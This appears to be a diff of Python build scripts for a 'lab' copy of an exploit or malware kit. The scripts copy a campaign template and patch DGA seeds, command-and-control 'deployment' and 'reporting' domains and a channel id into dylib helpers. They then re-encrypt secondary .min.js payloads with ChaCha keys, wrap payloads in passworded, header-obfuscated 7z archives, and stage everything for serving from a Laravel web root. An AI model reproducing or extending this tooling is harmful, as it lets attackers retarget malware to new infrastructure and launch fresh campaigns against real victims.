||||||
|
parser.add_argument(
|
||||||
|
"--force-sync",
|
||||||
|
action="store_true",
|
||||||
|
help="rebuild sync/ even when domains match the previous project",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--skip-patch",
|
||||||
|
action="store_true",
|
||||||
|
help="only copy source campaign+sync into server/public (no binary patch)",
|
||||||
|
)
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
if bool(args.deployment_domains) != bool(args.reporting_domains):
|
||||||
|
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
||||||
|
if not args.deployment_domains and not args.skip_patch:
|
||||||
|
raise SystemExit(
|
||||||
|
"new_project requires --deployment-domains / --reporting-domains "
|
||||||
|
"(or --skip-patch for a raw source copy)"
|
||||||
|
)
|
||||||
|
|
||||||
|
src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
|
||||||
|
src_sync = SOURCE_ROOT / "sync"
|
||||||
|
if not src_campaign.is_dir():
|
||||||
|
raise SystemExit(f"missing source campaign: {src_campaign}")
|
||||||
|
if not src_sync.is_dir():
|
||||||
|
raise SystemExit(f"missing source sync: {src_sync}")
|
||||||
|
|
||||||
|
APPLY_ROOT.mkdir(parents=True, exist_ok=True)
|
||||||
|
web_root = APPLY_ROOT / "web"
|
||||||
|
sync_dir = APPLY_ROOT / "sync"
|
||||||
|
out_root = APPLY_ROOT / "out"
|
||||||
|
out_root.mkdir(parents=True, exist_ok=True)
|
||||||
|
web_root.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
channel = pick_channel(args.channel_id, web_root)
|
||||||
|
campaign_dir = web_root / channel
|
||||||
|
|
||||||
|
fixed_dep = (
|
||||||
|
parse_domain_list(args.deployment_domains, label="deployment")
|
||||||
|
if args.deployment_domains
|
||||||
|
else None
|
||||||
|
)
|
||||||
|
fixed_rep = (
|
||||||
|
parse_domain_list(args.reporting_domains, label="reporting")
|
||||||
|
if args.reporting_domains
|
||||||
|
else None
|
||||||
|
)
|
||||||
|
|
||||||
|
prev_domains = load_json(out_root / "domains.json")
|
||||||
|
prev_seeds = load_json(out_root / "seeds.json")
|
||||||
|
sync_ready = sync_dir.is_dir() and (sync_dir / "daily.html").is_file()
|
||||||
|
same_domains = (
|
||||||
|
fixed_dep is not None
|
||||||
|
and fixed_rep is not None
|
||||||
|
and domains_equal(prev_domains, fixed_dep, fixed_rep)
|
||||||
|
and sync_ready
|
||||||
|
and not args.force_sync
|
||||||
|
)
|
||||||
|
|
||||||
|
print("=== new_project ===")
|
||||||
|
print(f"channel: {channel}")
|
||||||
|
print(f"web dest: {campaign_dir}")
|
||||||
|
if fixed_dep is not None:
|
||||||
|
print(f"domains: {'reuse sync (unchanged)' if same_domains else 'rebuild sync'}")
|
||||||
|
print(f" deployment: {', '.join(fixed_dep)}")
|
||||||
|
print(f" reporting: {', '.join(fixed_rep)}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
print("=== copy campaign template ===")
|
||||||
|
print(f"from: {src_campaign}")
|
||||||
|
print(f"to: {campaign_dir}")
|
||||||
|
copy_campaign_template(campaign_dir)
|
||||||
|
print(f"created web/{channel}/")
|
||||||
|
|
||||||
|
if args.skip_patch:
|
||||||
|
if not sync_ready:
|
||||||
|
print("=== copy sync from source ===")
|
||||||
|
replace_tree(src_sync, sync_dir)
|
||||||
|
(out_root / "channel.json").write_text(
|
||||||
|
json.dumps({"channel_id": channel, "patched": False}, indent=2) + "\n"
|
||||||
|
)
|
||||||
|
print("skip-patch: done")
|
||||||
|
return 0
|
||||||
|
|
||||||
|
assert fixed_dep is not None and fixed_rep is not None
|
||||||
|
|
||||||
|
py = sys.executable
|
||||||
|
domain_args: list[str] = []
|
||||||
|
for item in fixed_dep:
|
||||||
|
domain_args += ["--deployment-domains", item]
|
||||||
|
for item in fixed_rep:
|
||||||
|
domain_args += ["--reporting-domains", item]
|
||||||
|
|
||||||
|
if same_domains:
|
||||||
|
# Reuse seeds so fixed-domain shellcode matches existing sync/.
|
||||||
|
dep = args.deployment_seed or (prev_seeds or {}).get("deployment_seed")
|
||||||
|
rep = args.reporting_seed or (prev_seeds or {}).get("reporting_seed")
|
||||||
|
if not dep or not rep:
|
||||||
|
raise SystemExit(
|
||||||
|
"domains unchanged but out/seeds.json missing seeds; "
|
||||||
|
"pass --deployment-seed/--reporting-seed or --force-sync"
|
||||||
|
)
|
||||||
|
print("=== domains unchanged: patch secondary only ===")
|
||||||
|
print(f"reuse seeds dep={dep} rep={rep}")
|
||||||
|
run(
|
||||||
|
[
|
||||||
|
py,
|
||||||
|
str(TOOLS / "patch_secondary_packs.py"),
|
||||||
|
"--deployment-seed",
|
||||||
|
dep,
|
||||||
|
"--reporting-seed",
|
||||||
|
rep,
|
||||||
|
"--channel-id",
|
||||||
|
channel,
|
||||||
|
*domain_args,
|
||||||
|
"--root",
|
||||||
|
str(APPLY_ROOT),
|
||||||
|
"--apply",
|
||||||
|
]
|
||||||
|
)
|
||||||
|
(out_root / "channel.json").write_text(
|
||||||
|
json.dumps(
|
||||||
|
{
|
||||||
|
"channel_id": channel,
|
||||||
|
"patched": True,
|
||||||
|
"sync_rebuilt": False,
|
||||||
|
"deployment_seed": dep,
|
||||||
|
"reporting_seed": rep,
|
||||||
|
"deployment_domains": fixed_dep,
|
||||||
|
"reporting_domains": fixed_rep,
|
||||||
|
},
|
||||||
|
indent=2,
|
||||||
|
)
|
||||||
|
+ "\n"
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
print("=== domains new/changed: reset sync + full patch ===")
|
||||||
|
replace_tree(src_sync, sync_dir)
|
||||||
|
print(f"copied sync/ -> {sync_dir}")
|
||||||
|
cmd = [
|
||||||
|
py,
|
||||||
|
str(TOOLS / "patch_all.py"),
|
||||||
|
"--apply",
|
||||||
|
"--root",
|
||||||
|
str(APPLY_ROOT),
|
||||||
|
"--channel-id",
|
||||||
|
channel,
|
||||||
|
"-n",
|
||||||
|
str(args.count),
|
||||||
|
*domain_args,
|
||||||
|
]
|
||||||
|
if args.deployment_seed:
|
||||||
|
cmd += ["--deployment-seed", args.deployment_seed]
|
||||||
|
if args.reporting_seed:
|
||||||
|
cmd += ["--reporting-seed", args.reporting_seed]
|
||||||
|
print()
|
||||||
|
print("=== patch_all --apply ===")
|
||||||
|
run(cmd)
|
||||||
|
seeds = load_json(out_root / "seeds.json") or {}
|
||||||
|
(out_root / "channel.json").write_text(
|
||||||
|
json.dumps(
|
||||||
|
{
|
||||||
|
"channel_id": channel,
|
||||||
|
"patched": True,
|
||||||
|
"sync_rebuilt": True,
|
||||||
|
"deployment_seed": seeds.get("deployment_seed"),
|
||||||
|
"reporting_seed": seeds.get("reporting_seed"),
|
||||||
|
"deployment_domains": fixed_dep,
|
||||||
|
"reporting_domains": fixed_rep,
|
||||||
|
},
|
||||||
|
indent=2,
|
||||||
|
)
|
||||||
|
+ "\n"
|
||||||
|
)
|
||||||
|
|
||||||
|
print()
|
||||||
|
print("=== ready ===")
|
||||||
|
print(f"web: {campaign_dir}")
|
||||||
|
print(f"sync: {sync_dir} ({'unchanged' if same_domains else 'rebuilt'})")
|
||||||
|
print(f"channel: {out_root / 'channel.json'}")
|
||||||
|
print(f"seeds: {out_root / 'seeds.json'}")
|
||||||
|
print(f"domains: {out_root / 'domains.json'}")
|
||||||
|
print()
|
||||||
|
print("served by Laravel public:")
|
||||||
|
print(f" /web/{channel}/support.html")
|
||||||
|
print(" /sync/daily.html")
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
+41
-19
@@ -11,10 +11,12 @@ import subprocess
|
|||||||
import sys
|
import sys
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
|
||||||
|
from _channel_patch import gen_channel_id, validate_channel_id
|
||||||
|
|
||||||
TOOLS = Path(__file__).resolve().parent
|
TOOLS = Path(__file__).resolve().parent
|
||||||
LAB_ROOT = TOOLS.parent
|
LAB_ROOT = TOOLS.parent
|
||||||
SOURCE_ROOT = LAB_ROOT / "source"
|
SOURCE_ROOT = LAB_ROOT / "source"
|
||||||
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
|
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
|
||||||
|
|
||||||
|
|
||||||
def gen_seed() -> str:
|
def gen_seed() -> str:
|
||||||
@@ -32,25 +34,28 @@ def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
|||||||
return {n for n in names if n in skip or n.endswith(".pyc")}
|
return {n for n in names if n in skip or n.endswith(".pyc")}
|
||||||
|
|
||||||
|
|
||||||
def ensure_working_tree(root: Path) -> None:
|
def ensure_working_tree(root: Path, channel: str) -> None:
|
||||||
"""If web/sync missing under root, copy from source/ (same as new_project --skip-patch)."""
|
"""Ensure sync/ and web/<channel>/ exist (copy from source template if needed)."""
|
||||||
camp = root / "web" / CAMPAIGN_HASH
|
camp = root / "web" / channel
|
||||||
sync = root / "sync"
|
sync = root / "sync"
|
||||||
if camp.is_dir() and sync.is_dir():
|
src_camp = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
|
||||||
return
|
|
||||||
src_web = SOURCE_ROOT / "web"
|
|
||||||
src_sync = SOURCE_ROOT / "sync"
|
src_sync = SOURCE_ROOT / "sync"
|
||||||
if not (src_web / CAMPAIGN_HASH).is_dir() or not src_sync.is_dir():
|
if not src_camp.is_dir() or not src_sync.is_dir():
|
||||||
raise SystemExit(
|
raise SystemExit(
|
||||||
f"missing working tree and source template.\n"
|
f"missing source template.\n"
|
||||||
f"expected: {src_web / CAMPAIGN_HASH} and {src_sync}"
|
f"expected: {src_camp} and {src_sync}"
|
||||||
)
|
)
|
||||||
|
if not camp.is_dir() or not sync.is_dir():
|
||||||
print("=== bootstrap working tree from source/ ===")
|
print("=== bootstrap working tree from source/ ===")
|
||||||
for src, dst in ((src_web, root / "web"), (src_sync, root / "sync")):
|
if not sync.is_dir():
|
||||||
if dst.exists():
|
shutil.copytree(src_sync, sync, symlinks=False, ignore=_ignore_junk)
|
||||||
shutil.rmtree(dst)
|
print(f"copied sync/ -> {sync}")
|
||||||
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
|
if not camp.is_dir():
|
||||||
print(f"copied {src.relative_to(LAB_ROOT)} -> {dst}")
|
camp.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
shutil.copytree(src_camp, camp, symlinks=False, ignore=_ignore_junk)
|
||||||
|
print(f"copied campaign -> {camp}")
|
||||||
|
if not camp.is_dir() or not sync.is_dir():
|
||||||
|
raise SystemExit(f"failed to bootstrap {camp} / {sync}")
|
||||||
print()
|
print()
|
||||||
|
|
||||||
|
|
||||||
@@ -63,6 +68,10 @@ def main() -> int:
|
|||||||
)
|
)
|
||||||
parser.add_argument("--deployment-seed", help="optional; default: random 32 hex")
|
parser.add_argument("--deployment-seed", help="optional; default: random 32 hex")
|
||||||
parser.add_argument("--reporting-seed", help="optional; default: random 32 hex")
|
parser.add_argument("--reporting-seed", help="optional; default: random 32 hex")
|
||||||
|
parser.add_argument(
|
||||||
|
"--channel-id",
|
||||||
|
help="32-hex channel id for web/<id>/ + type-0x01 embed (default: random)",
|
||||||
|
)
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--deployment-domains",
|
"--deployment-domains",
|
||||||
action="append",
|
action="append",
|
||||||
@@ -83,7 +92,7 @@ def main() -> int:
|
|||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--apply",
|
"--apply",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="write into --root web/ + sync/",
|
help="write into --root web/<channel-id>/ + sync/",
|
||||||
)
|
)
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"-n",
|
"-n",
|
||||||
@@ -99,8 +108,10 @@ def main() -> int:
|
|||||||
if bool(args.deployment_domains) != bool(args.reporting_domains):
|
if bool(args.deployment_domains) != bool(args.reporting_domains):
|
||||||
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
||||||
|
|
||||||
|
channel = validate_channel_id(args.channel_id) if args.channel_id else gen_channel_id()
|
||||||
|
|
||||||
if args.apply and args.root:
|
if args.apply and args.root:
|
||||||
ensure_working_tree(args.root.resolve())
|
ensure_working_tree(args.root.resolve(), channel)
|
||||||
|
|
||||||
fixed_mode = bool(args.deployment_domains)
|
fixed_mode = bool(args.deployment_domains)
|
||||||
dep = args.deployment_seed or gen_seed()
|
dep = args.deployment_seed or gen_seed()
|
||||||
@@ -117,6 +128,7 @@ def main() -> int:
|
|||||||
{
|
{
|
||||||
"deployment_seed": dep,
|
"deployment_seed": dep,
|
||||||
"reporting_seed": rep,
|
"reporting_seed": rep,
|
||||||
|
"channel_id": channel,
|
||||||
"mode": "fixed_domains" if fixed_mode else "dga",
|
"mode": "fixed_domains" if fixed_mode else "dga",
|
||||||
},
|
},
|
||||||
indent=2,
|
indent=2,
|
||||||
@@ -124,8 +136,9 @@ def main() -> int:
|
|||||||
+ "\n"
|
+ "\n"
|
||||||
)
|
)
|
||||||
|
|
||||||
print("=== seeds ===")
|
print("=== seeds / channel ===")
|
||||||
print(f"mode: {'fixed_domains' if fixed_mode else 'dga'}")
|
print(f"mode: {'fixed_domains' if fixed_mode else 'dga'}")
|
||||||
|
print(f"channel: {channel}")
|
||||||
print(f"deployment: {dep}")
|
print(f"deployment: {dep}")
|
||||||
print(f"reporting: {rep}")
|
print(f"reporting: {rep}")
|
||||||
print(f"saved: {seeds_path}")
|
print(f"saved: {seeds_path}")
|
||||||
@@ -136,6 +149,7 @@ def main() -> int:
|
|||||||
py = sys.executable
|
py = sys.executable
|
||||||
apply = ["--apply"] if args.apply else []
|
apply = ["--apply"] if args.apply else []
|
||||||
root = ["--root", str(args.root.resolve())] if args.root else []
|
root = ["--root", str(args.root.resolve())] if args.root else []
|
||||||
|
channel_args = ["--channel-id", channel]
|
||||||
domain_args: list[str] = []
|
domain_args: list[str] = []
|
||||||
if fixed_mode:
|
if fixed_mode:
|
||||||
for item in args.deployment_domains:
|
for item in args.deployment_domains:
|
||||||
@@ -152,6 +166,7 @@ def main() -> int:
|
|||||||
dep,
|
dep,
|
||||||
"--reporting-seed",
|
"--reporting-seed",
|
||||||
rep,
|
rep,
|
||||||
|
*channel_args,
|
||||||
*domain_args,
|
*domain_args,
|
||||||
*root,
|
*root,
|
||||||
*apply,
|
*apply,
|
||||||
@@ -177,7 +192,6 @@ def main() -> int:
|
|||||||
|
|
||||||
domains_path = out_root / "domains.json"
|
domains_path = out_root / "domains.json"
|
||||||
if fixed_mode:
|
if fixed_mode:
|
||||||
# Prefer MANIFEST from patch_core output
|
|
||||||
manifest_path = out_root / "sync" / "MANIFEST.json"
|
manifest_path = out_root / "sync" / "MANIFEST.json"
|
||||||
if not manifest_path.is_file():
|
if not manifest_path.is_file():
|
||||||
manifest_path = LAB_ROOT / "out" / "sync" / "MANIFEST.json"
|
manifest_path = LAB_ROOT / "out" / "sync" / "MANIFEST.json"
|
||||||
@@ -212,8 +226,14 @@ def main() -> int:
|
|||||||
domains["mode"] = "dga"
|
domains["mode"] = "dga"
|
||||||
domains_path.write_text(json.dumps(domains, indent=2) + "\n")
|
domains_path.write_text(json.dumps(domains, indent=2) + "\n")
|
||||||
|
|
||||||
|
(out_root / "channel.json").write_text(
|
||||||
|
json.dumps({"channel_id": channel, "patched": True, "sync_rebuilt": True}, indent=2)
|
||||||
|
+ "\n"
|
||||||
|
)
|
||||||
|
|
||||||
print()
|
print()
|
||||||
print("=== final domains ===")
|
print("=== final domains ===")
|
||||||
|
print(f"channel={channel}")
|
||||||
print(f"deployment seed={dep}")
|
print(f"deployment seed={dep}")
|
||||||
for i, domain in enumerate(domains["deployment"]["domains"], 1):
|
for i, domain in enumerate(domains["deployment"]["domains"], 1):
|
||||||
print(f" {i:03d} {domain}")
|
print(f" {i:03d} {domain}")
|
||||||
@@ -223,6 +243,8 @@ def main() -> int:
|
|||||||
print()
|
print()
|
||||||
print(f"seeds: {seeds_path}")
|
print(f"seeds: {seeds_path}")
|
||||||
print(f"domains: {domains_path}")
|
print(f"domains: {domains_path}")
|
||||||
|
if args.apply and args.root:
|
||||||
|
print(f"web: {args.root.resolve() / 'web' / channel}")
|
||||||
if not args.apply:
|
if not args.apply:
|
||||||
print("Note: outputs are under out/ only. Use new_project.py or --apply --root <project>.")
|
print("Note: outputs are under out/ only. Use new_project.py or --apply --root <project>.")
|
||||||
return 0
|
return 0
|
||||||
|
|||||||
+20
-2
@@ -60,6 +60,19 @@ def obfuscate_coruna_7z_header(standard_7z: bytes) -> bytes:
|
|||||||
|
|
||||||
|
|
||||||
def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes:
|
def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes:
|
||||||
|
"""Build passworded 7z; cache by content so py7zr's random salt does not drift runs."""
|
||||||
|
cache_key = sha256_hex(
|
||||||
|
member_name.encode("utf-8")
|
||||||
|
+ b"\0"
|
||||||
|
+ password.encode("utf-8")
|
||||||
|
+ b"\0"
|
||||||
|
+ payload
|
||||||
|
)
|
||||||
|
cache_dir = LAB_ROOT / "out" / "7z_cache"
|
||||||
|
cache_path = cache_dir / cache_key
|
||||||
|
if cache_path.is_file():
|
||||||
|
return cache_path.read_bytes()
|
||||||
|
|
||||||
with tempfile.TemporaryDirectory() as tmp:
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
root = Path(tmp)
|
root = Path(tmp)
|
||||||
member = root / member_name
|
member = root / member_name
|
||||||
@@ -67,7 +80,11 @@ def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes
|
|||||||
archive = root / "out.7z"
|
archive = root / "out.7z"
|
||||||
with py7zr.SevenZipFile(archive, mode="w", password=password) as handle:
|
with py7zr.SevenZipFile(archive, mode="w", password=password) as handle:
|
||||||
handle.write(member, arcname=member_name)
|
handle.write(member, arcname=member_name)
|
||||||
return archive.read_bytes()
|
data = archive.read_bytes()
|
||||||
|
|
||||||
|
cache_dir.mkdir(parents=True, exist_ok=True)
|
||||||
|
cache_path.write_bytes(data)
|
||||||
|
return data
|
||||||
|
|
||||||
|
|
||||||
def extract_daily_config_bytes() -> bytes:
|
def extract_daily_config_bytes() -> bytes:
|
||||||
@@ -139,7 +156,8 @@ def main() -> int:
|
|||||||
|
|
||||||
if args.root:
|
if args.root:
|
||||||
set_tree_root(args.root)
|
set_tree_root(args.root)
|
||||||
ensure_tree_layout(tree_root())
|
# sync-only: campaign dirs are web/<channel-id>/ and may not match ORIGINAL
|
||||||
|
ensure_tree_layout(tree_root(), require_campaign=False)
|
||||||
if args.apply:
|
if args.apply:
|
||||||
if not args.root:
|
if not args.root:
|
||||||
raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
|
raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""Patch DGA seeds in the two unique type-0x01 dylibs and rebuild all 10 secondary .min.js."""
|
"""Patch DGA seeds / fixed domains / channel id in type-0x01 and rebuild .min.js."""
|
||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
@@ -8,9 +8,11 @@ import json
|
|||||||
import shutil
|
import shutil
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
|
||||||
|
from _channel_patch import patch_channel_in_dylib, validate_channel_id
|
||||||
from _common import (
|
from _common import (
|
||||||
GROUP_DYLIBS,
|
GROUP_DYLIBS,
|
||||||
LAB_ROOT,
|
LAB_ROOT,
|
||||||
|
ORIGINAL_CHANNEL_ID,
|
||||||
SECONDARY_KEYS,
|
SECONDARY_KEYS,
|
||||||
SOURCE_ROOT,
|
SOURCE_ROOT,
|
||||||
ensure_tree_layout,
|
ensure_tree_layout,
|
||||||
@@ -28,8 +30,8 @@ import _common
|
|||||||
def main() -> int:
|
def main() -> int:
|
||||||
parser = argparse.ArgumentParser(
|
parser = argparse.ArgumentParser(
|
||||||
description=(
|
description=(
|
||||||
"Replace Deployment/Reporting seeds in type-0x01 helpers and "
|
"Replace Deployment/Reporting seeds (and optional fixed domains / channel id) "
|
||||||
"re-encrypt all 10 secondary .min.js (same filenames, per-stem ChaCha keys)."
|
"in type-0x01 helpers, then re-encrypt all 10 secondary .min.js."
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
@@ -42,6 +44,13 @@ def main() -> int:
|
|||||||
required=True,
|
required=True,
|
||||||
help="new Reporting DGA seed (<=32 ASCII; recommend 32 hex chars)",
|
help="new Reporting DGA seed (<=32 ASCII; recommend 32 hex chars)",
|
||||||
)
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--channel-id",
|
||||||
|
help=(
|
||||||
|
f"new 32-hex channel id written into type-0x01 and used as web/<id>/ "
|
||||||
|
f"(default: keep {ORIGINAL_CHANNEL_ID})"
|
||||||
|
),
|
||||||
|
)
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--root",
|
"--root",
|
||||||
type=Path,
|
type=Path,
|
||||||
@@ -55,7 +64,7 @@ def main() -> int:
|
|||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--apply",
|
"--apply",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="also copy outputs into <root>/web/.../",
|
help="also copy outputs into <root>/web/<channel-id>/",
|
||||||
)
|
)
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--deployment-domains",
|
"--deployment-domains",
|
||||||
@@ -72,6 +81,11 @@ def main() -> int:
|
|||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
|
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
|
||||||
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
|
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
|
||||||
|
channel = (
|
||||||
|
validate_channel_id(args.channel_id)
|
||||||
|
if args.channel_id
|
||||||
|
else ORIGINAL_CHANNEL_ID
|
||||||
|
)
|
||||||
fixed_dep = (
|
fixed_dep = (
|
||||||
parse_domain_list(args.deployment_domains, label="deployment")
|
parse_domain_list(args.deployment_domains, label="deployment")
|
||||||
if args.deployment_domains
|
if args.deployment_domains
|
||||||
@@ -86,16 +100,19 @@ def main() -> int:
|
|||||||
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
||||||
|
|
||||||
if args.root:
|
if args.root:
|
||||||
set_tree_root(args.root)
|
set_tree_root(args.root, channel=channel)
|
||||||
ensure_tree_layout(tree_root())
|
ensure_tree_layout(tree_root(), channel=channel)
|
||||||
|
else:
|
||||||
|
_common.set_campaign_id(channel)
|
||||||
|
|
||||||
if args.apply:
|
if args.apply:
|
||||||
if not args.root:
|
if not args.root:
|
||||||
raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
|
raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
|
||||||
if tree_root().resolve() == SOURCE_ROOT.resolve():
|
if tree_root().resolve() == SOURCE_ROOT.resolve():
|
||||||
raise SystemExit("refusing --apply into source/; create a project first")
|
raise SystemExit("refusing --apply into source/; create a project first")
|
||||||
|
|
||||||
out = args.out or (tree_root() / "out" / "secondary" if args.root else LAB_ROOT / "out" / "secondary")
|
out = args.out or (tree_root() / "out" / "secondary" if args.root else LAB_ROOT / "out" / "secondary")
|
||||||
|
|
||||||
# re-bind after set_tree_root
|
|
||||||
campaign_dir = _common.CAMPAIGN_DIR
|
campaign_dir = _common.CAMPAIGN_DIR
|
||||||
meta = json.loads(SECONDARY_KEYS.read_text())
|
meta = json.loads(SECONDARY_KEYS.read_text())
|
||||||
stems = meta["stems"]
|
stems = meta["stems"]
|
||||||
@@ -121,6 +138,14 @@ def main() -> int:
|
|||||||
reporting_seed=rep,
|
reporting_seed=rep,
|
||||||
label=path.name,
|
label=path.name,
|
||||||
)
|
)
|
||||||
|
if channel != ORIGINAL_CHANNEL_ID:
|
||||||
|
data = patch_channel_in_dylib(
|
||||||
|
data,
|
||||||
|
channel,
|
||||||
|
old_channel=ORIGINAL_CHANNEL_ID,
|
||||||
|
expect_hits=1,
|
||||||
|
label=path.name,
|
||||||
|
)
|
||||||
patched[group] = data
|
patched[group] = data
|
||||||
print(
|
print(
|
||||||
f"group {group}: patched {path.name} "
|
f"group {group}: patched {path.name} "
|
||||||
@@ -137,7 +162,6 @@ def main() -> int:
|
|||||||
group = info["group"]
|
group = info["group"]
|
||||||
key = bytes.fromhex(info["key"])
|
key = bytes.fromhex(info["key"])
|
||||||
wire = encrypt_secondary_minjs(patched[group], key)
|
wire = encrypt_secondary_minjs(patched[group], key)
|
||||||
# sanity: decrypt back
|
|
||||||
check = decrypt_secondary_minjs(wire, key)
|
check = decrypt_secondary_minjs(wire, key)
|
||||||
if check != patched[group]:
|
if check != patched[group]:
|
||||||
raise SystemExit(f"round-trip failed for {stem}")
|
raise SystemExit(f"round-trip failed for {stem}")
|
||||||
@@ -156,6 +180,7 @@ def main() -> int:
|
|||||||
manifest = {
|
manifest = {
|
||||||
"deployment_seed": dep,
|
"deployment_seed": dep,
|
||||||
"reporting_seed": rep,
|
"reporting_seed": rep,
|
||||||
|
"channel_id": channel,
|
||||||
"mode": "fixed_domains" if fixed_dep is not None else "dga",
|
"mode": "fixed_domains" if fixed_dep is not None else "dga",
|
||||||
"deployment_domains": fixed_dep,
|
"deployment_domains": fixed_dep,
|
||||||
"reporting_domains": fixed_rep,
|
"reporting_domains": fixed_rep,
|
||||||
@@ -165,6 +190,7 @@ def main() -> int:
|
|||||||
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")
|
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")
|
||||||
|
|
||||||
if args.apply:
|
if args.apply:
|
||||||
|
campaign_dir.mkdir(parents=True, exist_ok=True)
|
||||||
for item in built:
|
for item in built:
|
||||||
src = out / f"{item['stem']}.min.js"
|
src = out / f"{item['stem']}.min.js"
|
||||||
dst = campaign_dir / src.name
|
dst = campaign_dir / src.name
|
||||||
@@ -172,8 +198,9 @@ def main() -> int:
|
|||||||
print(f"applied -> {dst}")
|
print(f"applied -> {dst}")
|
||||||
|
|
||||||
print(f"\nDone. Output: {out}")
|
print(f"\nDone. Output: {out}")
|
||||||
|
print(f"channel: {channel}")
|
||||||
if not args.apply:
|
if not args.apply:
|
||||||
print(f"Re-run with --apply --root <project> to overwrite files under web/")
|
print(f"Re-run with --apply --root <project> to overwrite files under web/{channel}/")
|
||||||
return 0
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user